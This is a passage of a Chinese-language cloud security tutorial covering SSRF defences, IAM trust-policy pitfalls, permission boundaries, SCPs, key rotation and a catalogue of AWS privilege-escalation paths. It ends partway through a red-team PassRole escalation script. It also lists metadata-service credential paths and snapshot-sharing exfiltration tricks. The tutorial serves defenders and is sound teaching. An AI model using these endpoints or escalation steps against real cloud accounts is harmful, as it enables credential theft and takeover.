    # 纯数字(十进制整数 IP)
    if re.fullmatch(r'\d{1,20}', hostname):
        return True
    # 十六进制
    if hostname.lower().startswith('0x'):
        return True
    # 点分十进制
    parts = hostname.split('.')
    if len(parts) == 4:
        try:
            if all(re.fullmatch(r'\d{1,3}', p) and int(p) <= 255 for p in parts):
                return True
        except ValueError:
            pass
    # 末尾带点
    if hostname.endswith('.'):
        return True
    return False


# ============================================================
# ★★★ 最关键的补充:DNS Rebinding 防护
# ============================================================
# ★ 上面的代码有个致命漏洞:
#     第一步 getaddrinfo 拿到的是 1.2.3.4(合法外网 IP)
#     第二步真正发起 HTTP 请求时,操作系统会【再解析一次】
#     攻击者控制的 DNS 服务器第二次返回 169.254.169.254
#     → ★ 检查是安全的,但实际连接打到了元数据服务
#
# ✅ 正确做法:解析后【把 IP 固定下来】,请求时用这个 IP + Host 头指定域名
#
# 生活类比:你要去"张三家",先查到地址是"幸福小区 3 栋"
#          然后你开车出发 —— 但路上有人把指路牌改成了"保密局"
#          ★ 正确做法:查到地址后,你自己导航按坐标走,不看路牌

import http.client

def safe_fetch(url: str, timeout: int = 5) -> bytes:
    """★ 安全的 HTTP 请求:解析一次,绑定 IP,防止 DNS Rebinding"""
    parsed = urllib.parse.urlparse(url)
    ok, reason = is_safe_url(url)
    if not ok:
        raise PermissionError(f"SSRF 防护拦截: {reason}")

    hostname = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == 'https' else 80)

    # ★ 解析并固定 IP
    ip = socket.gethostbyname(hostname)

    # ★★ 二次校验(因为 gethostbyname 和 getaddrinfo 结果可能不同)
    for net in BLOCKED_NETWORKS:
        if ipaddress.ip_address(ip) in net:
            raise PermissionError(f"SSRF 防护拦截(二次校验): {ip}")

    # ★ 用 IP 连接,用 Host 头保持原域名(保证 HTTPS 证书和虚拟主机正常)
    if parsed.scheme == 'https':
        import ssl
        conn = http.client.HTTPSConnection(
            ip, port, timeout=timeout,
            context=ssl.create_default_context(),
            # ★ 关键:证书校验仍然用原域名
        )
        conn.set_tunnel(hostname, port)   # 通过 SNI 传原域名
    else:
        conn = http.client.HTTPConnection(ip, port, timeout=timeout)

    try:
        conn.request('GET', parsed.path or '/', headers={'Host': hostname})
        resp = conn.getresponse()
        # ★ 限制响应大小,防止内存打爆
        return resp.read(10 * 1024 * 1024)
    finally:
        conn.close()

★ 诚实的局限说明

上面这套代码依然不是 100% 安全,原因:

  ① 【30x 重定向绕过】
     你请求 a.com,它 302 重定向到 169.254.169.254
     → 上面的代码没处理重定向(httpx/requests 默认跟随重定向)
     → ★ 必须设置 allow_redirects=False,并对每个跳转目标重新校验

  ② 【IPv6】
     上面的代码没处理 AAAA 记录
     → getaddrinfo 要指定 family=AF_UNSPEC 并同时校验 v6 地址
     → ::ffff:169.254.169.254 这种映射地址也能打到 IMDS

  ③ 【应用层协议绕过】
     如果你用了支持 gopher:// 的 HTTP 客户端库(如老版本 curl),
     gopher 可以构造任意 TCP 流量
     → 协议白名单必须在【发起请求的地方】再校验一次

  ④ ★ 最根本的:应用层的 SSRF 防护永远是"修补"
     ★★ 真正的防线是【网络层 + 云平台层】:
        - IMDSv2(required)
        - Hop Limit = 1
        - 出网流量走 NAT/代理白名单(★ 默认拒绝所有出网)
        - 容器网络策略禁止访问 169.254.169.254
     应用层防护只是【第三道防线】

★ 其他云的元数据服务地址(速查)

AWS EC2:            http://169.254.169.254/latest/meta-data/
                    ★ 凭据路径:/latest/meta-data/iam/security-credentials/<role>
AWS ECS(任务角色): http://169.254.170.2/v2/credentials
AWS EKS(IRSA):    通过 ServiceAccount 投影的 Token 文件
                    /var/run/secrets/eks.amazonaws.com/serviceaccount/token
                    ★ 配合环境变量 AWS_ROLE_ARN / AWS_WEB_IDENTITY_TOKEN_FILE

阿里云 ECS:         http://100.100.100.200/latest/meta-data/
                    ★ 凭据路径:/latest/meta-data/ram/security-credentials/<role>
腾讯云 CVM:         http://169.254.0.23/latest/meta-data/
                    ★ 也可以用 metadata.tencentyun.com(注意拼写)
Azure VM:           http://169.254.169.254/metadata/instance?api-version=2021-02-01
                    ★★ 必须带请求头 Metadata: true(★ 这是个天然防护,类似 IMDSv2)
GCP:                http://169.254.169.254/computeMetadata/v1/instance/
                    ★★★ 必须带请求头 Metadata-Flavor: Google
                    ★★ 且 GCP 默认就要求这个头,所以 GCP 天然免疫简单 SSRF
                        (这就是为什么 GCP 上这类事故少得多)

★ 记忆口诀:
   AWS / 阿里云  → 默认可被简单 SSRF 打到(v1 模式)
   Azure / GCP   → 必须带特殊请求头,天然更安全

10.2.4 混乱代理人问题(Confused Deputy)

★ 名词:Confused Deputy(混乱代理人 / 困惑的副手) 白话:A 让 B 帮忙做事,B 有权限做这件事,但 B 搞错了“这件事是替谁做的”, 结果 A 利用 B 的权限,做了 A 自己本来没权做的事。

★ 生活类比(经典版):

    你(客户)去银行办业务。
    柜员(代理人)有权查【任何人的账户】—— 这是他的工作职责。

    你说:"麻烦帮我查一下我自己的账户余额。"
    柜员问:"你的账号是?"
    你说:"6222 0000 1234 5678"      ← 你说这是你的
    柜员查了,告诉你余额。

    第二天你又说:"麻烦帮我查一下我自己的账户余额。"
    你说:"6222 0000 9999 8888"      ← ★ 这是别人的账号
    柜员又查了,又告诉你余额。

    ★★★ 这就是混乱代理人:
        柜员有权限(查任何账户),
        但他【没有验证你到底是不是这个账户的主人】
        → 你利用柜员的权限,看到了别人的隐私

云上的真实场景:第三方 SaaS 访问你的资源

场景:你们公司用了一家第三方监控公司(Vendor)的服务,
      让它读取你们的 S3 日志桶来做分析。

  你的账号(Customer)          Vendor 的账号
  ┌──────────────────┐          ┌──────────────────┐
  │  日志桶            │          │  分析程序          │
  │  log-bucket-公司A  │          │                  │
  │  log-bucket-公司B  │          │  VendorRole       │
  │  log-bucket-公司C  │          │                  │
  └──────────────────┘          └──────────────────┘

  做法:你在自己的账号里建一个角色 VendorAccessRole,
        信任策略写"允许 Vendor 的账号来扮演",
        然后把角色的 ARN 告诉 Vendor。

  ★★ 攻击来了(如果没配 ExternalId):

    Vendor 的另一家客户(攻击者,也是 Vendor 的客户)知道了这个 ARN
    (★ ARN 不是秘密!可能出现在文档、论坛提问、错误日志里)

    攻击者对 Vendor 说:"请帮我分析我的日志,我的角色 ARN 是
                        arn:aws:iam::公司A:role/VendorAccessRole"

    Vendor 的分析程序不疑有他,去 AssumeRole
    → 成功!因为信任策略只写了"允许 Vendor 账号",
            而攻击者确实是通过 Vendor 的程序发起的
    → ★★ 攻击者读到了公司 A 的日志

★ 解决方案:ExternalId(外部 ID)

★ 名词:ExternalId(外部 ID) 白话:你(客户)和 Vendor 之间约定的一个“暗号”, Vendor 在帮你 AssumeRole 时必须报这个暗号,否则角色不认。

加了 ExternalId 之后:

  ① 你生成一个随机字符串:  8f3d9a2b-4c1e-7f6a-9b8d-2e5c4a1f3b7d
     ★ 每个客户一个,不重复

  ② 信任策略写成:
     {
       "Effect": "Allow",
       "Principal": {"AWS": "arn:aws:iam::VENDOR账号:root"},
       "Action": "sts:AssumeRole",
       "Condition": {
         "StringEquals": {
           "sts:ExternalId": "8f3d9a2b-4c1e-7f6a-9b8d-2e5c4a1f3b7d"
         }
       }
     }

  ③ Vendor 调用时:
     sts:AssumeRole(
       RoleArn = "arn:aws:iam::公司A:role/VendorAccessRole",
       ExternalId = "8f3d9a2b-...",        ← ★ 必须带上
       RoleSessionName = "vendor-scan"
     )

  ★★ 为什么这样就安全了:
     攻击者知道 RoleArn(不保密),
     但他【不知道公司 A 的 ExternalId】
     (★ 这个暗号只在 A 和 Vendor 之间,从不经过攻击者)
     而且 Vendor 的程序只会用它自己数据库里存的那一个 ExternalId
     → 攻击者即使报了 RoleArn,Vendor 用的是 A 的 ExternalId 吗?
       ★ 不会 —— Vendor 根据"当前登录客户"查表取 ExternalId
       攻击者登录的是自己的账号 → 取到攻击者自己的 ExternalId
       → 条件不匹配 → AssumeRole 失败

★ 信任策略的正确写法与八个坑

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowVendorWithExternalIdAndMFA",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::111122223333:root"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "sts:ExternalId": "8f3d9a2b-4c1e-7f6a-9b8d-2e5c4a1f3b7d"
        },
        "Bool": {
          "aws:SecureTransport": "true"
        }
      }
    }
  ]
}
★ 信任策略的八个坑

坑 1:★ Principal 写成冒号星号 "AWS": "*"
────────────────────────────────────────────
   {
     "Principal": {"AWS": "*"},        ← ★★★ 任何人都能扮演这个角色
     "Action": "sts:AssumeRole"
   }
   ★★ 如果这个角色有任何权限,等于你的资源对全世界开放
   ★ 唯一"可以接受"的场景:配合非常严格的 Condition(如只信任某个 OIDC 提供商 + 精确的 sub)

坑 2:★ 只写账号 root,没写 ExternalId
   → 就是上面的混乱代理人问题
   → 后果:Vendor 的任何一个客户都能串到你的资源

坑 3:信任了整个账号,而不是具体角色
   "Principal": {"AWS": "arn:aws:iam::111122223333:root"}
   ★ 含义:对方账号里【任何一个有 sts:AssumeRole 权限的主体】都能来扮演
     (只要对方账号管理员给他加了对应权限)
   ✅ 更严格:直接指定具体角色
     "Principal": {"AWS": "arn:aws:iam::111122223333:role/VendorScannerRole"}

坑 4:★ OIDC 信任策略没限制 sub(★ 这是 2023~2025 年最火的云攻击手法之一)
────────────────────────────────────────────
   场景:你配了 GitHub Actions 通过 OIDC 访问 AWS(不用存 AK/SK,很好)
   但如果写成:
   {
     "Principal": {"Federated": "arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com"},
     "Condition": {
       "StringEquals": {"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"}
     }
   }
   ★★ 致命缺陷:只验证了"来自 GitHub Actions",
      没验证"来自【你的】哪个仓库"
      → 攻击者在 GitHub 上随便建个公开仓库,写个 workflow
      → 就能 AssumeRole 拿到你的云权限!

   ✅ 正确写法(★ 必须加 sub 条件):
   "Condition": {
     "StringEquals": {
       "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
       "token.actions.githubusercontent.com:sub": "repo:我的组织/我的仓库:ref:refs/heads/main"
     }
   }
   ★ sub 的格式:repo:<owner>/<repo>:<上下文>
     常见上下文:ref:refs/heads/main(分支)
                environment:prod(环境)
                pull_request(PR)
   ★★ 建议:用 environment 而不是分支名(分支名可以改,环境需要审批)

坑 5:sub 用了 StringLike 配通配符写得太宽
   "sub": "repo:我的组织/*"
   ★ 危险:组织里任何人建的新仓库、任何 fork 都能用
   ✅ 必须精确到仓库名

坑 6:没限制 token 的受众 aud
   ★ 不加 aud 条件可能导致"令牌重放":
     攻击者拿一个给别的系统签发的 OIDC token 来换你的角色
   ✅ aud 必须是 sts.amazonaws.com(云厂商指定的值)

坑 7:★ 忘了 sts:ExternalId 的"轮换"和"一客户一 ID"
   所有客户共用一个 ExternalId → 等于没有
   ✅ 每个客户生成独立随机值(UUID)

坑 8:★ 给了 AssumeRole 但没设会话时长上限
   默认 1 小时,但可以设到 12 小时
   ✅ 用 MaxSessionDuration 控制(角色创建时设置)
      aws iam create-role --role-name X --max-session-duration 3600 ...
   ★ 会话越长,凭据泄露后的危害窗口越长

★ 检测:怎么发现信任策略配置错了

# ============================================================
# 扫描所有角色的信任策略,找出危险的
# ============================================================
#!/bin/bash
# trust_policy_audit.sh

echo "===== ① 找出信任 '任何人' 的角色(最高危) ====="
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json \
| python3 -c '
import json, sys, urllib.parse
roles = json.load(sys.stdin)
for name, doc in roles:
    d = doc if isinstance(doc, dict) else json.loads(urllib.parse.unquote(doc))
    for stmt in d.get("Statement", []):
        p = stmt.get("Principal")
        cond = stmt.get("Condition")
        # ★ 危险:Principal 是 * 且没有严格 Condition
        if p == "*" or (isinstance(p, dict) and "*" in str(p)):
            severity = "★ 低危(有条件限制)" if cond else "★★★ 严重(无任何条件!)"
            print(f"[{severity}] {name}")
            print(f"    Principal: {json.dumps(p, ensure_ascii=False)}")
            print(f"    Condition: {json.dumps(cond, ensure_ascii=False) if cond else \"无\"}")
'

echo ""
echo "===== ② 找出所有 OIDC 联邦角色,检查 sub 条件 ====="
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json \
| python3 -c '
import json, sys, urllib.parse
roles = json.load(sys.stdin)
for name, doc in roles:
    d = doc if isinstance(doc, dict) else json.loads(urllib.parse.unquote(doc))
    for stmt in d.get("Statement", []):
        p = stmt.get("Principal")
        if isinstance(p, dict) and "Federated" in p:
            fed = p["Federated"]
            cond = stmt.get("Condition", {})
            has_sub = any("sub" in k.lower() for k in json.dumps(cond).lower().split("\""))
            flag = "OK" if has_sub else "★★★ 危险:无 sub 限制"
            print(f"[{flag}] {name}")
            print(f"    Federated: {fed}")
            if not has_sub:
                print(f"    Condition: {json.dumps(cond, ensure_ascii=False)}")
'

10.2.5 权限边界与 SCP:两道“天花板”

★ 名词:Permissions Boundary(权限边界) 白话:给一个主体设一个“最多能有多大权限”的上限。 ★ 就算你给他贴了管理员策略,他实际能做的事也超不过这个上限。

生活类比:公司给实习生办的门禁卡
    卡里可以开通很多权限(他能申请开通实验室、机房、财务室)
    但 HR 设了一条规则:"实习生最多只能进 3 楼以下"
    → 就算 IT 误操作给他开了 10 楼的权限,他也进不去
    ★ 这条规则就是"权限边界"

★ 它解决什么问题

场景:你想让开发团队能【自助创建 IAM 角色】(不要每建一个都找运维)

  但你的担心是:
    ★ 如果给了他们 iam:CreateRole + iam:AttachRolePolicy
      他们可以建一个角色,贴上 AdministratorAccess,
      然后自己扮演这个角色 → ★★ 绕过所有限制,提权成功

  解决方案:权限边界
    ① 运维预先建一个"边界策略"(如只能碰 s3、sqs、lambda 三个服务)
    ② 规定:开发团队建角色时,★ 必须带上这个边界
    ③ 开发建的角色的实际权限 = 角色策略 ∩ 边界策略
       → 就算他贴了 AdministratorAccess
         实际权限也只有 s3/sqs/lambda 三个服务
// ① 边界策略(运维定义,开发改不了)
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowedServices",
      "Effect": "Allow",
      "Action": [
        "s3:*", "sqs:*", "lambda:*", "logs:*", "cloudwatch:*"
      ],
      "Resource": "*"
    }
  ]
}
// ② ★ 关键:给开发团队的策略里,强制要求建角色时必须带边界
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "CanCreateRoleButMustSetBoundary",
      "Effect": "Allow",
      "Action": "iam:CreateRole",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "iam:PermissionsBoundary": "arn:aws:iam::123456789012:policy/DevBoundary"
        }
      }
    },
    {
      "Sid": "CanAttachPolicyButWithinBoundary",
      "Effect": "Allow",
      "Action": ["iam:AttachRolePolicy", "iam:PutRolePolicy"],
      "Resource": "*"
    },
    {
      "Sid": "CanPassRoleToLambda",
      "Effect": "Allow",
      "Action": "iam:PassRole",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "iam:PermissionsBoundary": "arn:aws:iam::123456789012:policy/DevBoundary"
        }
      }
    },
    {
      "Sid": "★★ 绝不允许他们改/删边界(否则形同虚设)",
      "Effect": "Deny",
      "Action": [
        "iam:DeleteRolePermissionsBoundary",
        "iam:PutRolePermissionsBoundary"
      ],
      "Resource": "*"
    }
  ]
}
★★★ 最容易漏的一步:最后那条 Deny

   如果开发团队能删掉角色上的边界,
   那边界就是纸糊的:建角色 → 贴管理员策略 → 删边界 → 提权成功

   ★ 这条 Deny 是整套方案的命门

★ 名词:SCP(Service Control Policy,服务控制策略) 白话:整个组织(所有账号)的“宪法”,任何账号里的任何人都不能违反,包括账号管理员。

层级关系(从大到小):

   组织(Organization)
     │
     ├─ SCP(★ 宪法:所有人都不能违反,包括 root 用户)
     │
     └─ 账号 A(Account)
          │
          ├─ 权限边界(★ 给某些主体的天花板)
          │
          └─ IAM 用户 / 角色
               │
               └─ 身份策略 + 资源策略

★★ 关键区别:
   SCP          → 由【组织管理员】管,账号管理员改不了
                  ★ 用途:合规性的硬底线("禁止关闭审计日志")
   Permissions  → 由【账号内】管,是"委托"工具
     Boundary     ★ 用途:安全地授权给团队
// ★ 一份实用的 SCP(组织的"八条硬性底线")
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "1-禁止关闭审计日志",
      "Effect": "Deny",
      "Action": [
        "cloudtrail:StopLogging",
        "cloudtrail:DeleteTrail",
        "cloudtrail:UpdateTrail",
        "cloudtrail:PutEventSelectors"
      ],
      "Resource": "*"
    },
    {
      "Sid": "2-禁止删除日志存储桶",
      "Effect": "Deny",
      "Action": ["s3:DeleteBucket", "s3:DeleteBucketPolicy"],
      "Resource": "arn:aws:s3:::org-audit-logs-*"
    },
    {
      "Sid": "3-★ 禁止关闭 GuardDuty 等安全服务",
      "Effect": "Deny",
      "Action": [
        "guardduty:DeleteDetector",
        "guardduty:DisassociateFromMasterAccount",
        "securityhub:DisableSecurityHub",
        "config:DeleteConfigurationRecorder",
        "config:StopConfigurationRecorder"
      ],
      "Resource": "*"
    },
    {
      "Sid": "4-限制只能用在指定区域(防数据出境 + 防挖矿)",
      "Effect": "Deny",
      "NotAction": [
        "iam:*", "sts:*", "organizations:*",
        "cloudfront:*", "route53:*", "support:*"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:RequestedRegion": ["cn-north-1", "cn-northwest-1", "ap-southeast-1"]
        }
      }
    },
    {
      "Sid": "5-★ 禁止创建长期 AK/SK(强制用临时凭据)",
      "Effect": "Deny",
      "Action": "iam:CreateAccessKey",
      "Resource": "*",
      "Condition": {
        "StringNotLike": {
          "aws:PrincipalArn": "arn:aws:iam::*:role/BreakGlassRole"
        }
      }
    },
    {
      "Sid": "6-禁止修改组织级别的配置",
      "Effect": "Deny",
      "Action": [
        "organizations:LeaveOrganization",
        "organizations:DeleteOrganization"
      ],
      "Resource": "*"
    },
    {
      "Sid": "7-★ 禁止启动超大规格实例(防账单爆炸)",
      "Effect": "Deny",
      "Action": "ec2:RunInstances",
      "Resource": "arn:aws:ec2:*:*:instance/*",
      "Condition": {
        "StringNotLike": {
          "ec2:InstanceType": ["t3.*", "m5.*", "c5.*", "r5.*"]
        }
      }
    },
    {
      "Sid": "8-保护根用户不能做敏感操作",
      "Effect": "Deny",
      "Action": ["s3:DeleteBucket", "dynamodb:DeleteTable", "rds:DeleteDBInstance"],
      "Resource": "*",
      "Condition": {
        "StringLike": {"aws:PrincipalArn": "arn:aws:iam::*:root"}
      }
    }
  ]
}

★ 诚实的注意事项

SCP 的三个坑:

  ① ★ SCP 不授予权限,只限制权限
     它只能 Deny,不能 Allow
     → 如果只挂了 SCP 而没挂身份策略,用户什么都做不了
     → 新手常见错误:挂了 SCP 后发现所有人都用不了了

  ② ★ SCP 对【组织内的服务关联角色】也会生效
     可能导致某些 AWS 托管服务初始化失败
     → 上生产前必须在测试组织里验证
     → 建议:先挂到单个测试 OU,观察 1~2 周

  ③ ★ 第 4 条"区域限制"很容易误伤
     很多全球服务(IAM/CloudFront/Route53)是"全球"的,
     不属于任何区域,必须放进 NotAction 里
     → 否则你会发现连 IAM 都用不了

10.2.6 云凭据全景:四种形态的危险度排序

┌──────────────┬────────────────────┬──────────┬────────────────────────┐
│ 凭据类型      │ 白话                │ 危险度    │ 典型前缀/特征            │
├──────────────┼────────────────────┼──────────┼────────────────────────┤
│ ① 长期 AK/SK │ 永不过期的钥匙       │ ★★★★★   │ AWS: AKIA...            │
│ (IAM User)  │ 丢了就是永久丢了     │          │ 阿里云: LTAI...         │
│              │                    │          │ 腾讯云: AKID...         │
├──────────────┼────────────────────┼──────────┼────────────────────────┤
│ ② 临时 STS   │ 有过期时间的钥匙     │ ★★☆☆☆  │ AWS: ASIA...            │
│ 凭据          │ 最长 12 小时,       │          │ 带 SessionToken         │
│              │ 一般 1 小时          │          │ 三个字段必须同时用       │
├──────────────┼────────────────────┼──────────┼────────────────────────┤
│ ③ 实例角色    │ 绑在机器上的钥匙     │ ★★☆☆☆  │ 从 IMDS 取,            │
│ (IMDS)      │ 自动轮换            │          │ 自动轮换                │
├──────────────┼────────────────────┼──────────┼────────────────────────┤
│ ④ OIDC 联邦  │ ★ 根本没有钥匙       │ ★☆☆☆☆  │ GitHub Actions /       │
│              │ 用"身份证"换临时钥匙 │          │ K8s ServiceAccount     │
│              │ ★ 最推荐的形态       │          │                        │
└──────────────┴────────────────────┴──────────┴────────────────────────┘

★★★ 一句话结论:目标是"消灭所有长期 AK/SK"

为什么长期 AK/SK 这么危险:
  - 不会过期 → 泄露后攻击者可以慢慢用,几个月后你才发现
  - 存在的地方太多 → 代码、配置、镜像、日志、聊天记录
  - 无法撤销"某一处" → 只能整体禁用,影响所有使用方
  - ★ 最要命:很多公司会把它硬编码进代码,
             然后代码被推到 GitHub 公开仓库
             → ★ 自动化爬虫在几分钟内就会发现

★ 真实数据:GitHub 上的密钥扫描机器人,从你 push 公开仓库的那一刻起, 平均 3~5 分钟就会有人来尝试用你的 AK/SK。 ★ 不是“可能被发现”,是“一定会被发现”。

密钥泄露的应对:检测与轮换

# ============================================================
# ① 检测:扫描代码仓库里的云凭据
# ============================================================

# 工具 1:gitleaks(最快,推荐)
gitleaks detect --source . --verbose --redact
# 输出示例:
#   Finding:     AKIALALEMEL33243OLIB
#   Secret:      AKIALALEMEL33243OLIB
#   RuleID:      aws-access-token
#   File:        src/config/aws.py
#   Line:        17
#   Commit:      a1b2c3d
#   ★ 注意:git 历史里的也算!删掉文件没用

# 工具 2:trufflehog(能验证凭据是否还有效)
trufflehog filesystem . --only-verified
# ★ --only-verified 是关键:它会真的去调一次 AWS API,
#   确认这个密钥是不是还活着 → 大幅减少误报

# 工具 3:★ 用 git pre-commit hook 在提交前拦截(治本)
cat > .git/hooks/pre-commit <<'EOF'
#!/bin/bash
if command -v gitleaks &> /dev/null; then
  gitleaks protect --staged --redact --verbose
  if [ $? -ne 0 ]; then
    echo "★✗ 检测到密钥,提交被阻止"
    echo "  如果是误报,请确认后用 --no-verify 跳过(需说明理由)"
    exit 1
  fi
fi
EOF
chmod +x .git/hooks/pre-commit
# ============================================================
# ② 云厂商官方的泄露检测(★ 一定要开,免费)
# ============================================================

# AWS:如果启用了 "IAM  compromised key" 检测
#      AWS 会自动监控公开的 GitHub 等渠道
#      发现你的 AK 泄露 → 自动给该密钥贴上
#      ★ "Access key is compromised" 标签
#      并自动限制其权限(只保留少量只读 API)
#      → 你会在 Health Dashboard 和邮件里收到告警

# 检查有没有被标记的密钥
aws iam list-access-keys --user-name someuser --output json \
| python3 -c '
import json,sys
for k in json.load(sys.stdin)["AccessKeyMetadata"]:
    print(f"{k[\"AccessKeyId\"]}  状态={k[\"Status\"]}  创建于={k[\"CreateDate\"]}")
'
# ============================================================
# ③ 轮换:★ 正确的顺序(顺序错了会导致业务中断)
# ============================================================

# ❌ 错误顺序:先删旧的,再建新的
#    → 中间这段时间所有服务都 401

# ✅ 正确顺序(双密钥并行):
#   ① 创建第二个 AK/SK(一个用户最多 2 个)
aws iam create-access-key --user-name app-user

#   ② 把新密钥分发到所有使用的地方(配置中心 / K8s Secret / CI 变量)
#      ★ 这一步要灰度,不要一次全换

#   ③ ★ 用 CloudTrail 确认【旧密钥已经没有任何调用】
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIAOLDKEY123 \
  --max-results 50 \
  --query 'Events[].[EventTime,EventName,Username]' --output table

#   ④ 确认 0 调用后,先【禁用】不删除(观察几天)
aws iam update-access-key --user-name app-user \
  --access-key-id AKIAOLDKEY123 --status Inactive

#   ⑤ 观察 3~7 天无异常,再删除
aws iam delete-access-key --user-name app-user --access-key-id AKIAOLDKEY123

# ★★ 更好的答案:根本不用长期 AK/SK
#    改成【实例角色】或【OIDC 联邦】
#    → 凭据自动轮换,你不需要管理,也不会泄露在代码里

10.2.7 云上提权:那些“看起来无害”的权限组合

★ 定义:**云上提权(Cloud Privilege Escalation)**指的是 一个低权限主体,利用自己已有的权限,让自己的权限变得更大。

★ 为什么特别危险:传统 Linux 提权靠漏洞(要找 0day 或者未打补丁的内核); 云上提权靠的是正常功能的组合,不需要任何漏洞。

★ 生活类比(最经典的一个):

    你在公司是个普通员工(云里的低权限用户)。
    你的权限里有两条看起来很普通的:
      ① 【可以修改自己的岗位说明】(iam:PutUserPolicy)
      ② 【可以提交岗位变更申请】(iam:AttachUserPolicy)

    单看每条都很合理(HR 系统常见功能)。
    但组合起来:
      ★ 你把自己的岗位说明改成"CEO"
      → 立刻拥有了 CEO 的所有权限

    ★★ 这不是漏洞,这是【功能】。
       云平台把它设计成"管理员可以自助管理权限",
       但如果你把 iam:PutUserPolicy 给了一个不该给的人,
       就等于给了他"自己改自己权限"的能力。

★ 21 种经典 AWS 提权路径(按原理分类)

┌─────────────────────────────────────────────────────────────────┐
│ 类别 A:★ 直接改自己的权限(最直接)                              │
├─────────────────────────────────────────────────────────────────┤
│ A1. iam:PutUserPolicy           给自己贴内联策略                  │
│ A2. iam:AttachUserPolicy        给自己贴托管策略(含管理员)        │
│ A3. iam:AddUserToGroup          把自己加进管理员组                 │
│ A4. iam:CreateAccessKey         给别人(或自己)建 AK              │
│ A5. iam:CreateLoginProfile      给没有控制台权限的用户设密码        │
│ A6. iam:UpdateLoginProfile      改别人的控制台密码(★ 接管账号)    │
│ A7. iam:PutRolePolicy           改自己能扮演的角色的策略           │
│ A8. iam:AttachRolePolicy        给角色贴管理员策略,再扮演它        │
│ A9. iam:CreatePolicyVersion     创建恶意版本并设为默认             │
│ A10. iam:SetDefaultPolicyVersion 把旧的好版本换成恶意版本           │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ 类别 B:★ 通过 PassRole 借用(最隐蔽)                             │
├─────────────────────────────────────────────────────────────────┤
│ ★ 名词:iam:PassRole(传递角色)                                  │
│ 白话:你启动一台 EC2 / 一个 Lambda / 一个 ECS 任务时,            │
│       可以指定"这台机器扮演哪个角色"                              │
│       → ★ 如果你能指定一个管理员角色,                            │
│         你就能登录这台机器,从 IMDS 拿到管理员凭据!               │
│                                                                   │
│ B1. iam:PassRole + ec2:RunInstances                              │
│     → 启动一台 EC2,挂上管理员角色 → 登录 → 拿管理员凭据           │
│ B2. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction  │
│     → 建个函数挂管理员角色,调用它,函数用角色权限把结果返回给你    │
│ B3. iam:PassRole + ecs:RunTask                                   │
│ B4. iam:PassRole + glue:CreateDevEndpoint                        │
│ B5. iam:PassRole + cloudformation:CreateStack                    │
│     ★★ 最阴险:CloudFormation 可以创建 IAM 资源,                 │
│        而你只需要 cloudformation:CreateStack + PassRole           │
│        → 用它建一个管理员用户                                     │
│                                                                   │
│ ★ PassRole 是【云上提权之王】,因为:                             │
│   - 很多业务天然需要它(CI/CD 要启动资源)                         │
│   - 它的危险不明显("我只是启动一台机器而已")                     │
│   - ★ 防护关键:PassRole 必须限制能传哪些角色                     │
│     ✅ "Resource": "arn:aws:iam::123:role/特定的一个角色"          │
│     ❌ "Resource": "*"                                            │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ 类别 C:★ 通过其他服务"侧身"进入                                  │
├─────────────────────────────────────────────────────────────────┤
│ C1. lambda:UpdateFunctionCode                                    │
│     → 改一个【已有高权限角色】的函数的代码 → 调用它               │
│     ★★ 比 B2 更隐蔽:你可能只被授权改某一个函数                   │
│ C2. lambda:UpdateFunctionConfiguration                           │
│     → 把函数的执行角色换成高权限角色                              │
│ C3. ec2:ModifyInstanceAttribute + 有实例                         │
│     → 给已有的 EC2 换个角色,或者改 UserData 后重启               │
│ C4. ssm:SendCommand                                              │
│     → 在有 SSM Agent 的机器上执行命令(★ 不需要 SSH)             │
│     ★ 很多运维不知道:ssm:SendCommand = 事实上的服务器 root       │
│ C5. glue / datapipeline / cloudformation / codebuild              │
│     → 这些服务都能"以某个角色运行你的代码"                        │
│ C6. sts:AssumeRole 到一个更高权限的角色(信任策略配置过宽)        │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ 类别 D:★ 通过数据访问间接提权                                    │
├─────────────────────────────────────────────────────────────────┤
│ D1. s3:GetObject 到存放 Terraform state 的桶                     │
│     → ★★ state 文件里有明文的资源信息和可能的密钥                 │
│ D2. secretsmanager:GetSecretValue / ssm:GetParameter             │
│     → 拿到数据库密码 → 横移到数据库                               │
│ D3. ec2:CreateSnapshot + ec2:ModifySnapshotAttribute             │
│     → 给生产机器打快照,共享给攻击者的账号 → 数据外泄              │
│     ★★ 这个手法极其隐蔽:你看不到任何"数据外传"的网络流量         │
│        因为数据是通过【云平台内部】共享的                          │
│ D4. rds:ModifyDBInstance(改密码)                               │
│     → 直接改掉数据库 master 密码                                  │
└─────────────────────────────────────────────────────────────────┘

★ 完整示例:PassRole 提权(从零到管理员)

#!/bin/bash
# ============================================================
# ★ 攻击视角:iam:PassRole + ec2:RunInstances 提权
# ★ 用途:用于红队演练 / 验证你们的环境是否存在这个问题
# ============================================================

# 前置条件(很多 CI 角色、运维角色都满足):
#   - iam:PassRole(Resource 为 *,★ 这就是问题所在)
#   - ec2:RunInstances
#   - 能访问外网(或者能连到 EC2)

echo "[1] 找出账号里所有角色"
aws iam list-roles --query 'Roles[].[RoleName,Arn]' --output table

echo ""
echo "[2] ★ 挑一个高权限的角色(如含 Admin / PowerUser 的)"
TARGET_ROLE_ARN="arn:aws:iam::123456789012:role/OrganizationAccountAccessRole"

echo ""
echo "[3] 创建一个实例配置文件(Instance Profile)"
# ★ 名词:Instance Profile(实例配置文件)
